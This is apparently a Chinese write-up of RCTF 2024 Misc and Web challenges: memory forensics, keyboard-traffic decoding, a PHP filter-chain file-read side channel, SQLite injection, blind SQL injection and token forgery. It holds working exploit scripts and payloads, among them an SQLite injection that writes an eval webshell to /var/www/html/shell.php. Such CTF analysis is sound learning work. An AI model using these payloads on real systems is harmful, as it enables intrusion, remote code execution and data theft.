2024 RCTF WebMisc部分 WP

news2024/11/15 21:32:01

Misc

gogogo

考点:内存取证
得到 gogogo.raw 内存取证的题用volatility和AXIOM结合分析
AXIOM 分析存在云服务 但是百度网盘要密码
https://pan.baidu.com/share/init?surl=ZllFd8IK-oHvTCYl61_7Kw
image.png

发现访问过sqlite数据库 可以尝试提取数据库文件出来
image.png
结合 volatility 第一步先看 粘贴板
vol.py -f gogogo.raw --profile=Win7SP0x86 clipboard
image.png
cwqs 猜测可能是百度网盘密码
image.png

得到 pwn=?.zip 但是还有密码 缺少关键信息
提取 places.sqlite数据库文件
扫描:vol.py -f gogogo.raw --profile=Win7SP0x86 filescan |grep "places.sqlite"
image.png
提取sqlite文件
vol.py -f gogogo.raw --profile=Win7SP0x86 dumpfiles -Q 0x000000007f634f80 -D ./
打开 数据库文件 发现在moz_place 发现访问网址

image.png

访问 https://space.bilibili.com/3546644702301067
image.png

提示pwd=uid uid=3546644702301067
这个是压缩包密码
打开后为 flag.zip 和键盘流量lqld.pcapng
直接 usb流量一把梭
image.png

niuo ybufmefhui kjqillxdjwmi uizebuui 
dvoo 
udpn uibuui jqybdm vegeyisi 
vemeuoll jxysgowodmnkderf dbmzfa hkhkdazi 
zvjnybufme hkwjdeggma 
na mimajqueviig 
kyllda doqisl ba 
pnynqrpn 
qrxcxxzimu 

输入法拼音双键联想 注意na mima
注意

na mimajqueviig 那密码就设置成
kyllda doqisl ba 快来打夺旗赛吧

"那密码就确定为,快来打夺旗赛吧"
密码是 kuailaidaduoqisaiba
打开直接就是flag
RCTF{wo_shen_me_dou_hui_zuo_de}

sec-image

考点: 光栅图
image.png
曾哥写过自动化工具一款CTFer专属的光栅图碰撞全自动化脚本
这个工具有两个参数 -x -y

-x XCOORDINATE  自动读取图片并尝试爆破横向光栅图
-y YCOORDINATE  自动读取图片并尝试爆破纵向光栅图

根据已知信息 flag RCTF{xxxxx}倒推找规律

flag0
-x R(T) C(F) 最明显的是一组的作为划分标准
-y 此时的2-1 是RC 2-2是TF	2-1对应1,2位 2-2对应3,4位
flag1:{c4b
flag2:af0e
依次类推

但是难免有些图片 实在是模糊不清
这个时候就用stegsolve 辅助判断
image.png

RCTF{c4baf0eb-e5ca-543a-06d0-39d72325a0}

FindAHacker

内存取证 查看Desktop文件内容
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 filescan | grep "Desktop"
在这里插入图片描述

发现存在ida 逆向临时数据库
检查 进程
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 pslist
image.png

提取 内存文件
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 memdump -p 2172 -D ./
修改后缀位data用 gimp打开后
image.png

调了半天没有找到那一帧
不管了直接借用其他WP的图
image.png
不太懂逆向 xor数据后就是flag

mmm = [0x35,0x3f,0x4e,0x2b,0x56,0x6b,0x74,0x6a,0x5d,0x6d,0x6f,0x73,0x6c,0x77,0x38,0x68,0x59,0x6e,0x20,0x21,0x3c,0x71,0x4f,0x09,0x36,0x7d,0x55,0x72,0x51,0x32,0x27,0x66]
enc = [0x0c,0x0f,0x2b,0x48,0x6f,0x5d,0x46,0x53,0x64,0x59,0x59,0x4b,0x5f,0x47,0x5b,0x5b,0x6b,0x5f,0x15,0x16,0x5d,0x12,0x76,0x6b,0x07,0x1b,0x33,0x4a,0x67,0x07,0x11,0x0]
flag=[]
for i in range(len(mmm)):
        flag.append(chr(mmm[i]^enc[i]))
flag=''.join(flag)
print("RCTF{"+flag+"}")

image.png
RCTF{90ec9629946830c32157ac9b1ff8656f}

Web

color

做了反调试 直接ctrl+F8 停用断点 或者直接手动禁用
当时写了个自动化找不同xpath的脚本(就是找色差)

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time


driver = webdriver.Chrome()


driver.get('http://124.71.164.28:10088/')

time.sleep(60)

start_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.CLASS_NAME, 'play-btn'))
)
start_button.click()

i = 0

while True:
    try:
        
        i = i + 1
        boxes = WebDriverWait(driver, 10).until(
            EC.presence_of_all_elements_located((By.XPATH, '//*[@id="box"]/*'))
        )

        
        found = False
        for i in range(len(boxes) - 1):
            if boxes[i].get_attribute('style') != boxes[i + 1].get_attribute('style'):
                if i + 2 < len(boxes) and boxes[i].get_attribute('style') != boxes[i + 2].get_attribute('style'):
                    boxes[i].click()
                else:
                    boxes[i + 1].click()
                found = True
                break
        
        if not found:
            
            if len(boxes) > 1:
                boxes[-1].click()
                t2 = time.time()
                
    except Exception as e:
        print(f"An error occurred: {e}")
        time.sleep(20)
        continue

print("Done")

但是即使是自动化 也存在可见的延迟
当时做题时没有注意,认为是后端的延迟(但是实际是前端的)
不是只有60s吗 时间是减少的 可以让时间增加 使它逻辑相反
逆了下它关键的加密逻辑 但是想简化问题

const CryptoJS = require('crypto-js');

function _0x443f31(_0x1de1a8) {
    var _0x1de1a8 = 'checkImage';
    var _0x4b1cba = "88b4dbc541cd57f2d55398e9be3e61ae";
    var _0xdc28e0 = "41cd57f2d55398e9";
    return CryptoJS.AES.encrypt(_0x1de1a8, CryptoJS.enc.Utf8.parse(_0x4b1cba), {
      iv: CryptoJS.enc.Utf8.parse(_0xdc28e0),
      mode: CryptoJS.mode.CBC,
      padding: CryptoJS.pad.Pkcs7
    }).toString();
}

console.log(_0x443f31());
//xEt6B2i+YJdcrJ/RG3Ie4Q==

所以直接js逆向改变其代码逻辑
游戏时间不是只有60s 吗 令他时间增加不就行了

tick: function () {
      if (this._pause) {
        return undefined;
      } else {
        this.time++;
        
        if (this.time < 6) {
          _0x4b69a3.time.addClass("danger");
        }
        if(this.time>1200){
          this.gameOver();
          return;
        }
        if (this.time < 0) {
          this.gameOver();
          return;
        } else {
          _0x4b69a3.time.text(parseInt(this.time));
          return;
        }
      }

修改代码逻辑 使时间增加 到1200 进入gameover结算即可
image.png
时间增加成功
结合自动化的脚本
现在就等1200s秒后就可以拿提示了
拿到路由/secr3tcolor.zip 可以得到源码
dockerfile中直接提示flag 在 /flag.txt中
image.png

就是已知flag的位置 要想办法读取文件
看看 game.php

else if($action === "checkImage"){

        try {

            $upload_image = file_get_contents($_FILES["image"]["tmp_name"]);

            echo getimagesize($upload_image);

echo+文件处理流函数
直接考虑 php filter Oracle 测信道 任意文件读取
参考:https://xz.aliyun.com/t/12939
被影响的函数包含 getimagesize
image.png
https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py
简单改下poc即可 改变其 req函数

def req(s):
	data = {"action": "xEt6B2i+YJdcrJ/RG3Ie4Q=="}
	string_content = f"php://filter/{s}/resource=/flag.txt"
	files = {'image': string_content}
	res=requests.post('http://124.71.164.28:10088/final/game.php', data=data,files=files)
	return 'Fatal' in res.text

注意一下原来的poc是通过 http状态码 500 判断测信道
但是实际上 只要 php 内存溢出了 就会有报错

Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 83886144 bytes) in /tmp/iconv.php on line 6

可以从其中顺便找个 关键词 作为判断的标准即可
比如我这里是用 Fatal
image.png
header头就是编码方式
可以根据 自己的需求 改它的poc即可
image.png
RCTF{Color_Col0r_C0lor}

赛后看了看其他WP 既然是前端做的延迟那么直接敲掉 delay就可以了
后自动化脚本也是可以的
但是试了一下不太可能 一秒如何跑8次左右 还要考虑网络本身和脚本的延迟 没有成功
image.png

proxy

考点 :sqlite注入

public function execMultiSQL($arysql){

        try{

            $this->dm_handler->beginTransaction();

            foreach($arysql as $asql){

                $result=$this->dm_handler->exec($asql);

            }

            #只要有一个报错 就会到catch块中不会commit提交数据真正改变数据库

            $this->dm_handler->commit();

            return TRUE;

        }

        catch(PDOException $exception) {

            $this->dm_handler->rollBack();

            return FALSE;

        }

    }

其实 这道就是考如何闭合sql语句 写到数据库中

$arysql[] = "INSERT OR REPLACE INTO CacheMain VALUES ('".$sess."', ".time().")";

    $arysql[] = "INSERT INTO CacheDetail VALUES ('".$sess."', '".$BE."')";

    #闭合方式:1');CREATE TABLE J1rrY (t TEXT);--+-

    $arysql[] = "CREATE TABLE Cache_".$sess."_".$BE." (t TEXT)";

    #直接将其嵌入到 SQL 语句

    $arysql[] = "INSERT INTO Cache_".$sess."_".$BE." VALUES('".$ProxyObj->body."')";

    $DbObj->execMultiSQL($arysql);

但是测试了非常久 最终 还是能同时闭合前面 但是绕不过最后一个
同时闭合所有sql语句 这个思路是看样子是走不通了
查找 sqlite教程 SQLite 事务(Transaction)发现存在COMMIT命令
https://www.runoob.com/sqlite/sqlite-transaction.html

COMMIT 命令

COMMIT 命令是用于把事务调用的更改保存到数据库中的事务命令。

COMMIT 命令把自上次 COMMIT 或 ROLLBACK 命令以来的所有事务保存到数据库。

COMMIT 命令的语法如下:

COMMIT;

or

END TRANSACTION;

居然可以无视报错直接提交COMMIT到数据库保存
结合sqlite注入写shell的文章 其中的poc一把梭就是
https://xz.aliyun.com/t/8627

');COMMIT;ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>');COMMIT;--+-

image.png
直接写shell是成功的
image.png
RCTF{ok_you_are_win_this_sql_game}

赛后看了看其他的WP 发现正解该是利用Proxy.php
$http .= $_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'];
伪造$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT']
作为HTTP头传递
比赛时特别考虑过 但是没有内容就认为不是这个思路
image.png
但是没想到居然可以利用Proxy.php
image.png
的确可以拿到请求 以后就用nc判断了…
那么我们只需要闭合最后的sql语句即可

 VALUES('".$ProxyObj->body."')";

其他前面的sql一定是闭合的
直接用先知的文章打payload,简单闭合就可以了

<?php

echo "');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval(\$_POST[1]); ?>');--+-";

?>

image.png
一个小问题:
如果我们访问poc.php返回

a');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('');--

VALUES ('');的值为空 是没有写进去吗?
本地看了一下是写进去了

image.png
RCTF{ok_you_are_win_this_sql_game}

what_is_love

存在黑名单 要进行绕过

db.query(

  "CREATE TABLE IF NOT EXISTS key1 (id INT AUTO_INCREMENT PRIMARY KEY,love_key VARCHAR(255) NOT NULL)"

);

db.query(

  "INSERT INTO key1 (love_key) VALUES('RCTF{key1')"

  //向 key1表中插入 love_key的值

存在表名 key1 字段为 love_key
黑名单相当于禁用了

/SELECT|CREATE|TABLE|DATABASE|IF|\(|\)|INSERT|UPDATE|DELETE|AND|OR|\.\./|\./|UNION|INTO|LOAD_FILE|OUTFILE|DUMPFILE|SUB|HEX|NOW|CURRENT_TIMESTAMP|GETDATE|SLEEP|SUBSTRING|MID|LEFT|RIGHT|ASCII|CHAR|REPEAT|REPLICATE|LIKE|%/gi
 let res1 = `SELECT * FROM key1 WHERE love_key = '${key1}'`;

  db.query(`SELECT * FROM key1 WHERE love_key = '${key1}'`, (err, results) => {

    //很显然我们不知道love_key的具体值

    if (err) {

      res.send("error");

    } else if (results.length > 0) {

      res.send("success");//布尔盲注

    } else {

      res.send("wrong");

    }

这是一道非常典型的布尔盲注
但是要注意的是 这道题将select过滤了 我们无法进行任何查询操作
但是 love_key 就是我们要求的第一段flag
完全可以直接 通过 正则匹配查询想要的数据 通过布尔盲注判断即可
flag 1 必然是RCTF开头的可以验证一下

image.png
通过正则匹配开头是 R 可以验证思路是正确的
编写脚步(注意 --+- 只能用于GET )

import requests
url="http://1.94.13.174:10088/key1"
strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@$%&()#'
flag=""
while True:
    for i in strs:
        data={"key1":f"1' || love_key regexp binary '^{flag+i}'#"}
        res=requests.post(url=url,data=data)
        if "success" in res.text:
            flag+=i
            print(flag)
        

但是同时 由于源码限制 key1.length > 52
image.png
RCTF{THE_FIRST_STEP 第一段flag不完全
直接倒着匹配flag 1

import requests
url="http://1.94.13.174:10088/key1"
strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@%&()#'
flag=""
while True:
    for i in strs:
        #data={"key1":f"1' || love_key regexp binary '^{flag+i}'#"}
        data={"key1":f"1' || love_key regexp binary '{i+flag}$'#"}
        res=requests.post(url=url,data=data)
        if "success" in res.text:
            flag=i+flag
            print(flag)

image.png
P_IS_TO_GET_TO_KNOW
flag 1就是 RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW

如果我们不按照它期望传入一个数字 而是字符串
userInfo.love_time = Number(love_time); 将返回 NAN
在此时的加密中

const createToken = (userinfo) => {

  const saltedSecret =

    parseInt(Buffer.from(secret).readBigUInt64BE()) +

    parseInt(userinfo.love_time);

  const data = JSON.stringify(userinfo);

  return (

    Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`)

  );

};

直接和随机生成的secret 拼接
image.png

那么此时的
${data}:{"username":"J1rrY","love_time":null,"have_lovers":false}
${saltedSecret}:secret+NAN
尝试输出此时的 saltedSecret

const crypto = require("crypto");
const secret = crypto.randomBytes(128);
love_time=null
const saltedSecret =
    parseInt(Buffer.from(secret).readBigUInt64BE()) +
    parseInt(love_time);
console.log(saltedSecret);

会发现始终是一个定值 NaN
image.png
这说明一个事实 只要 "love_time"为 null saltedSecret就一定是 NaN 是一个定值
已知加密逻辑直接伪造加密就是了

const crypto = require("crypto");

const secret = crypto.randomBytes(128);

const hash = (data) => crypto.createHash("sha256").update(data).digest("hex");

userinfo={"username":"J1rrY","love_time":null,"have_lovers":true}

const saltedSecret =NaN;

console.log(saltedSecret)

const data = JSON.stringify(userinfo);

console.log(data)

console.log(Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`))

image.png

在这里插入图片描述

RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1717412.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Flutter基础 -- Dart 语言 -- 列表集合枚举

目录 1. 列表 List 1.1 初始 1.2 声明 1.2.1 自动 1.2.2 定长 1.2.3 生成数据 1.3 属性 1.4 方法 1.4.1 添加 1.4.2 查询 1.4.3 删除 1.4.4 Range 1.4.5 洗牌 1.4.6 排序 1.4.7 复制子列表 1.4.8 操作符 2. 集合 Map 2.1 初始 2.2 声明 2.2.1 松散 2.2.2 …

python-求点积

【问题描述】&#xff1a;给出两个数组&#xff0c;并求它们的点积。 【问题描述】&#xff1a;输入A[1,1,1],B[2,2,2]&#xff0c;输出6,即1*21*21*26。输入A[3,2],B[2,3,3],输出-1&#xff0c;没有点积。 完整代码如下&#xff1a; alist(map(int,input().split())) blist(…

vue路由跳转之【编程式导航与传参】

vue路由有两种跳转方式 ----> 编程式与声明式&#xff0c;本文重点讲解vue路由的【编程式导航 】【编程式导航传参 ( 查询参数传参 & 动态路由传参 ) 】等内容&#xff0c;并结合具体案例让小伙伴们深入理解 &#xff0c;彻底掌握&#xff01;创作不易&#xff0c;需要的…

Maven项目通过maven central 发布到中央仓库 https://repo.maven.apache.org/ 手把手教学 最新教学

一、注册maven central账号 ​ https://central.sonatype.com/publishing/namespaces 我这里直接使用github账号登录 &#xff0c;可以自己注册或者直接使用google账号或者github账号登录 这里github账号登录之后 应该只出现io.github 下面的io.gitee我也验证过 所以这里出…

AltiumDesigner/AD添加数据库连接

1.首先确保本机电脑有无对应的数据库驱动&#xff0c;例如我这边要添加MySQL的数据&#xff0c;则需要首先下载MySQL数据驱动&#xff1a;MySQL :: Download MySQL Connector/ODBC (Archived Versions) 2.运行“odbcad32.exe”&#xff0c;如下图添加对应的数据库配置&#xf…

Python魔法之旅-魔法方法(05)

目录 一、概述 1、定义 2、作用 二、应用场景 1、构造和析构 2、操作符重载 3、字符串和表示 4、容器管理 5、可调用对象 6、上下文管理 7、属性访问和描述符 8、迭代器和生成器 9、数值类型 10、复制和序列化 11、自定义元类行为 12、自定义类行为 13、类型检…

openresty(Nginx) 配置 特殊URL 密码访问 使用htpasswd 配置 Basic_Auth登录认证

1 使用htpasswd 生成密码文件.htpasswd是Apache附带的工具。如果没有可以安装。 #centos 8.5 系统 yum install httpd-tools #Ubuntu 24.04 系统 sudo apt update sudo apt-get install apache2-utils #生成密码文件,用户test sudo htpasswd -c /usr/local/openresty/nginx/…

独家首发 | 基于 KAN、KAN卷积的轴承故障诊断模型

往期精彩内容&#xff1a; Python-凯斯西储大学&#xff08;CWRU&#xff09;轴承数据解读与分类处理 Python轴承故障诊断入门教学-CSDN博客 Python轴承故障诊断 (13)基于故障信号特征提取的超强机器学习识别模型-CSDN博客 Python轴承故障诊断 (14)高创新故障识别模型-CSDN…

Git使用规范及命令

文章目录 一、Git工作流二、分支管理三、Git命令操作规范1. 切到develop分支&#xff0c;更新develop最新代码2. 新建feature分支&#xff0c;开发新功能3. 完成feature分支&#xff0c;合并到develop分支4. 当某个版本所有的 feature 分支均合并到 develop 分支&#xff0c;就…

【漏洞复现】大华 DSS 数字监控系统 user_edit.action 信息泄露漏洞

0x01 产品简介 大华 DSS 数字监控系统是大华开发的一款安防视频监控系统&#xff0c;拥有实时监视、云台操作、录像回放、报警处理、设备管理等功能。 0x02 漏洞概述 大华 DSS 数字监控系统 user_edit.action 接囗处存在信息泄露漏洞。未经身份验证的远程攻击者可利用此漏洞…

无意间看到男主眼神,这也太有感觉了吧❗❗

2025即将首播《藏海传》中国大陆剧情/奇幻/古装共40集。 原本&#xff0c;稚奴身为大雍国钦天监监正蒯铎之子&#xff0c;背负着家族血仇。 历经十年沉默与磨砺&#xff0c;他化名为藏海&#xff08;肖战 饰&#xff09;&#xff0c;重返京城。 他凭借卓越的营造技艺和深谙纵…

gitbook安装 报错处理 windows系统

首先需要有nodejs。若没有&#xff0c;则去nodejs官网下载nodejs安装。 然后安装gitbook。命令如下&#xff1a;这是在linux系统的命令。 $ npm config set registry http://registry.npm.taobao.org #设置一下淘宝镜像&#xff08;非必选&#xff09; $ npm install gitbo…

B站稿件生产平台高可用建设分享

背景 B站作为国内领先的内容分享平台&#xff0c;其核心功能之一便是支持UP主们创作并分享各类视频内容。UP主稿件系统作为B站内容生产的关键环节&#xff0c;承担着从内容创作到发布的全过程管理。为了满足不同创作者的需求&#xff0c;B站提供了多种投稿渠道&#xff0c;包括…

深入探讨 Android 的 View 显示过程与源码分析

文章目录 1. 探讨 Android 的 View 显示过程1.1. onFinishInflate1.2. onAttachedToWindow1.3. onMeasure1.4. onSizeChanged1.5. onLayout1.6. onDraw 2. 系统代码分析1.1. onFinishInflate1.2. onAttachedToWindow1.3. onMeasure1.4. onSizeChanged1.5. onLayout1.6. onDraw …

基于深度学习的端到端语音识别时代

随着深度学习的发展&#xff0c;语音识别由DNN-HMM时代发展到基于深度学习的“端到端”时代&#xff0c;这个时代的主要特征是代价函数发生了变化&#xff0c;但基本的模型结构并没有太大变化。总体来说&#xff0c;端到端技术解决了输入序列长度远大于输出序列长度的问题。 采…

探索k8s集群的存储卷 emptyDir hostPath nfs

目录 一 含义 查看支持的存储卷类型 emptyDir存储卷 1.1 特点 1.2 用途 1.3部署 二、hostPath存储卷 一 含义 容器磁盘上的文件的生命周期是短暂的&#xff0c;这就使得在容器中运行重要应用时会出现一些问题。首先&#xff0c;当容器崩溃时&#xff0c;kubelet 会重…

py管理系统

self. 才是属性被保存&#xff0c;能够被实例化使用&#xff0c;否则只是局部变量 pop&#xff1a; 使用索引删除元素&#xff0c;并且需要返回被删除的元素。默认删除列表中的最后一个元素。 remove&#xff1a; 按值删除元素&#xff0c;不需要知道索引。如果列表中有多个相同…

rtos最小任务切换的实现 keil软件仿真 stm32 PendSV

最小任务切换的实现 本例子实现了一个 rtos 最小的任务切换功能&#xff0c;使用 keil 仿真功能&#xff0c;在模拟的 stm32f103 的器件上实现了使用 PendSV 中断切换线程的效果。 git 源码仓库&#xff1a;https://github.com/yutianos/rtos-little 本文链接&#xff1a;csdn…

VMware虚拟机安装Ubuntu-Server版教程(超详细)

目录 1. 下载2. 安装 VMware3. 安装 Ubuntu3.1 新建虚拟机3.2 安装操作系统 4. SSH方式连接操作系统4.1 好用的SSH工具下载&#xff1a;4.2 测试SSH连接 5. 开启root用户登录5.1 设置root用户密码5.2 传统方式切换root用户5.3 直接用root用户登录5.4 SSH启用root用户登录 6. 安…

Java-----Comparable接口和Comparator接口

在Java中&#xff0c;我们会经常使用到自定义类&#xff0c;那我们如何进行自定义类的比较呢? 1.Comparable接口 普通数据的比较 int a10;int b91;System.out.println(a<b); 那自定义类型可不可以这样比较呢&#xff1f;看一下代码 我们发现会报错&#xff0c;因为自定义…